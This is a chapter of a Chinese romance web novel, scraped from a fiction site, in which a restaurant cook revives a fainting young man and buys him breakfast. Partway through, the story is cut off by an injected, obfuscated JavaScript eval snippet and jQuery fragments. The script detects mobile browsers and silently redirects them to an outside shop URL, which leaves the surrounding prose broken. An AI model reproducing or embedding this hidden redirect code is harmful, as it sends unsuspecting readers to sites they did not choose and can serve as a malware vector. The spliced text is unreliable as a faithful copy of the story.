文趣网 > 都市小说 > 老公我讨厌你 > 5. 第 5 章
    “城子,真是低血糖,之前来兼职的小弟也这毛病。”

    丁秦宇在后厨备料,听见周城安喊救人,以为谁在自家店门口怎么着了。急冲冲出来一看,他说这不是低血糖吗,你急个屁!

    “诶我真是,”丁秦宇把整瓶糖拿来,“你是在绣花还是怎么着,掰开嘴往里灌啊!”

    周城安听见“灌”字皱了皱眉:“你别瞎嚷嚷。”

    丁秦宇说:“勺不行,你让开,我直接上!”

    “……”周城安头疼不已,“滚一边儿去,你想把他呛死?”

    郁澄水的牙关咬得紧,糖都还没往里倒,全洒周城安手指头上了。

    周城安无可奈何,只好用大拇指往他唇上压。

    他常年握刀,手上有茧,力气自然不小,刚摁下去郁澄水就蹙起眉,他只得又松了点力度。

    把糖喂下去,周城安才松了口气。

    他抽出手,改揽郁澄水的腰,隔着衣服摸到一层肌肉,但很薄,搓了搓指头,气不打一处来。

    外头的流浪猫饿了都知道找吃的,郁澄水好歹是个成年人类,都中午了,连早饭都没吃?

    丁秦宇把凳子拼在一起,周城安看了眼,让他拿来几个靠垫,铺好才把郁澄水扛上去。

    丁秦宇说:“我去拿点馒头。”

    周城安拉住他:“咽不了,先拿雪糕。”

    “我不敢,雪糕是你弟放这儿的,他放假过来要没看见,又得跟你闹。”

    周城安莫名窝火:“快高考了吃什么雪糕,不怕在考场闹肚子?”

    丁秦宇无语得不行:“神经吧你,咱弟明年才高考,心都飞哪儿去了。”

    周城安怕郁澄水中暑,蹲下用手扇风:“把手机也拿来,再不醒真得打120。”

    郁澄水的脸回了点血色,但嘴唇还是泛白。

    周城安想着刚才摸到的那一截腰,太瘦了,搞不好不是低血糖。他干脆掐了把郁澄水的虎口,又抬手掐他的人中。

    一番努力后,这人幽幽睁开了眼。

    周城安一顿:“醒了?”

    郁澄水没有出声,他盯着周城安,眨巴一下眼睛,一滴眼泪溢出,直直往地上砸。

    周城安头都大了,怎么哭了,疼的?

    “你这到底是什么毛病?算了你缓缓,我帮你打120。”

    周城安生怕他又晕过去,刚要催丁秦宇,手背上一疼:“嘶。”

    郁澄水掐住他的手指,声音很沉:“手,从我嘴上拿开。”

    周城安反应过来,松开手一看,郁澄水的人中红红的,像偷嘬了瓶盖的小孩儿。

    郁澄水估计也觉得难受,抬手就要往嘴上摸。

    周城安连忙挥开,替他搓了一下:“现在感觉怎么样,好点儿了?”

    郁澄水淡淡扫他一眼:“应该吧。”

    他是被疼醒的,疼得掉了滴眼泪。

    脸被当作面团揉搓不说,虎口痛得厉害,他怀疑周城安想挑他的手筋。

    嘴皮火辣辣的,郁澄水舔了舔唇角:“我差点被你掐死——”

    说到一半,嘴里被塞进来一个雪糕。

    丁秦宇歪起脖子往他脸上看,看完又扫了眼包装袋:“没过期,放心。”

    周城安抓起手机,叮嘱郁澄水:“醒了就别吃雪糕了,我去给你买点吃的。”

    丁秦宇自告奋勇:“我去,顺便丢个垃圾。”

    周城安瞅他一眼:“能别戴这墨镜了吗,我看得闹心。”

    “你不懂,这是小佳送我的,好几大百,”丁秦宇说着,瞥到郁澄水冷飕飕的脸,咳了声,“那我去了啊。”

    “都几点了,你去后厨盯着火,”周城安揉了下胸口,把丁秦宇推进后厨,出来冲呆愣愣的郁澄水说,“你坐着别瞎跑,知道吗?”

    郁澄水撇撇嘴,看了眼墙上的时钟,他心里着急,又怕站起来头晕:“哦,知道了,谢谢。”

    周城安站在门口没听见:“你说什么?”

    郁澄水抬头:“我说谢……你在干什么?”

    周城安摘了围裙,上半身露在外头,有足足八块腹肌。但这不是重点,重点是,郁澄水看见他胸口有道抓痕。

    很红,很显眼,很红……

    他意识到有什么不对,盯着那处欲言又止。

    周城安顺着他的目光看去,这印子确实红,但无所谓,郁澄水也不是故意的。

    “过两天就好了,我皮糙,”周城安放下卷起来的日历,盖住下头的镜子,“你脸色不好,别照镜子。”

    然后他随手扯来件短袖,呼啦一套,双手插着兜离开了小店。

    一直到周城安走远,郁澄水都没去想脸色不好和照镜子有什么关联。下意识咬了两口雪糕,他没吃出味儿。

    没关系,周城安都不在意,他没必要心虚。

    郁澄水闭了闭眼,但是怎么会抓出印子,自己真用了那么大的力气?

    丁秦宇伸手在他面前晃了晃,打开风扇:“小少……孩儿,城子回来了你拿给他,他刚才说哪疼来着。”

    桌上放了瓶跌打损伤膏,玻璃瓶身上精准地映出一张麻木的脸。

    郁澄水的手一抖,差点把雪糕扔地上。

    把这东西拿给周城安?

    不行,绝对不行。

    正午的太阳很烈,街上空无一人。

    郁澄水一点一点地摸到瓶身,探头探脑,往店外看了一眼。

    趁周城安还没回来,他深吸一口气,“嗖”地一下把药藏进了包里。

    *

    周城安回来时,郁澄水还坐在门口发呆。雪糕都化了,娃娃脸的形状被咬成方形,挺整齐的,上头有俩牙印子。

    玩儿呢这是,周城安有点想笑,进店招呼他一声:“过来,把包子吃了。”

    郁澄水的姿势很怪,跟迈不开腿似的。

    周城安解开塑料袋,给豆浆插上吸管:“刚才把腿摔到了?我去拿跌打损伤……”

    郁澄水的反应像一只被踩到尾巴的猫:“没有摔到,我不要。”

    他刚坐下去,裤兜里的东西和椅子碰撞,桌边两人都听见一声脆响。

    周城安往他下面瞅了一眼:“放了手机?裤兜浅,你放那小心掉出来,哪天丢了都不知道。”

    郁澄水嗯嗯两声,把头发顺下来遮住侧脸。

    豆浆被递到跟前,周城安拿出一次性筷子,跟他的视线对上,问了句:“怎么了?”

    “没事,”郁澄水没敢看他,闷着声问,“这些一共多少钱,我转你。”

    周城安比了个数,抽走他手里的雪糕:“不想吃就不吃了,我刚上网查了,你这情况,还好没多吃。”

    郁澄水以为他要帮忙扔了,结果抬眼就见他塞进嘴里,来不及阻止。

    周城安一口咬下,把木棍投进垃圾桶。

    郁澄水眼里的心虚变成震惊:“我吃过的。”

    “不嫌弃你,浪费可耻,”周城安根本没想那么多,嘴里甜得发腻,他灌了一口大麦茶:“二十分钟了,吃包子,别发呆。”

    郁澄水呼出一口长气,终于拿起筷子。

    “你吃,”周城安说,“我去后厨看一眼。”

    后厨不大,亮堂干净,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741995|209116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一走进辣味扑鼻。

    “回来了?”丁秦宇一边干活一边听歌,摇头晃脑,“我把大料弄好了,底料你来炒?”

    周城安抓起料,闻到这味儿就知道不行:“你先把牛肉腌上。”

    丁秦宇说:“他吃上了?”

    周城安“嗯”了声:“你还是得给供货商打个电话,这批花椒差点味儿。”

    丁秦宇点头:“你觉不觉得小少爷挺怪的?”

    周城安在进货单上打了个问号:“哪儿怪。”

    “脾气怪,我说话吧,他也不搭理我,而且你没觉得吗,我老感觉他身上有一种疏离感,若即若离……”

    周城安眯了下眼睛:“别背这种傻缺文案行吗,你不也挺怪,整天戴个墨镜,前天还有小孩问我,这叔叔是不是瞎子。”

    丁秦宇气乐了,不管周城安怎么损他,他还是那句:“这我初恋送的。”

    周城安没给他留面子:“你俩都没谈过,算哪门子初恋。”

    丁秦宇跟他互怼惯了,嘴上没门儿:“你牛,哪天谈一个给我看看,三十一岁的处、男。”

    周城安挑眉说:“你懂什么?”

    “还给你骄傲上了。”

    “不敢当。”

    周城安寻思郁澄水该吃完了,出了后厨,这人还在跟包子较劲。

    郁澄水吃一个小笼包要分三口。

    先咬开皮,观察两秒钟内陷。让鲜肉馅儿受一点皮外伤,嚼吧嚼吧,咽下去,才把剩下的半个放进嘴里,一边出神一边品尝。

    这是在吃包子还是品茶。

    周城安也是闲得慌,两手抱胸,坐在对面看了一会儿,没看出他是觉得好吃还是难吃。

    郁澄水被盯得浑身不自在,把豆浆往边上推了推说:“我吃饱了,谢谢。”

    周城安坐在对面,撑着下巴:“还剩两个。”

    郁澄水扫了店里的二维码,把豆浆和包子的钱转过去,还是说:“谢谢,我吃饱了。”

    周城安皱了下眉,那家包子店生意好,随时排着长队,他跟老板认识,早餐经常在那儿对付,清楚味道不可能差。

    怎么的,隔夜了不新鲜?可别把肚子吃坏了。

    郁澄水站起身,突然见周城安夹了个包子,又打算往嘴里塞。他如遭雷击,趴在桌子上,捏着周城安的手转了个方向。

    包子被喂进自己嘴里,他鼓着腮帮子,不知道怎样形容此刻的心情。

    总之有点崩溃。

    就算是郁成原,也不准、不可以、绝对不允许吃自己剩下的东西。

    于是郁澄水使劲咽下,又吃掉最后一个。

    周城安一时间有点怔愣,郁澄水经常做出一些突然的举动,让他无法理解。

    比如隔五分钟就得去洗手,又比如现在。

    而且他老沉浸在自己的世界里,也不知道在想什么,喊他一声会吓一跳。

    郁澄水弓着背,头发从脸侧垂落,有一股类似水果的香味。那天在楼梯间,周城安也闻到了这味儿。

    怪那什么的。

    郁澄水的喉结上下滚动,周城安跟着咽了咽。

    嗓子眼好细,难怪吃东西费劲。

    郁澄水好不容易咽下波涛骇浪,抬眸就看见正对面这人复杂的眼神。

    目光相触的瞬间,桌边两人同时回过神。

    不知道怎么的,郁澄水旋即一怔,下意识看向别处,而周城安侧头咳了一声,也一句话都没说。

    空气里格外安静。

    不知道过了多久,郁澄水忍无可忍:“……周城安,我脸上到底有什么好看的?”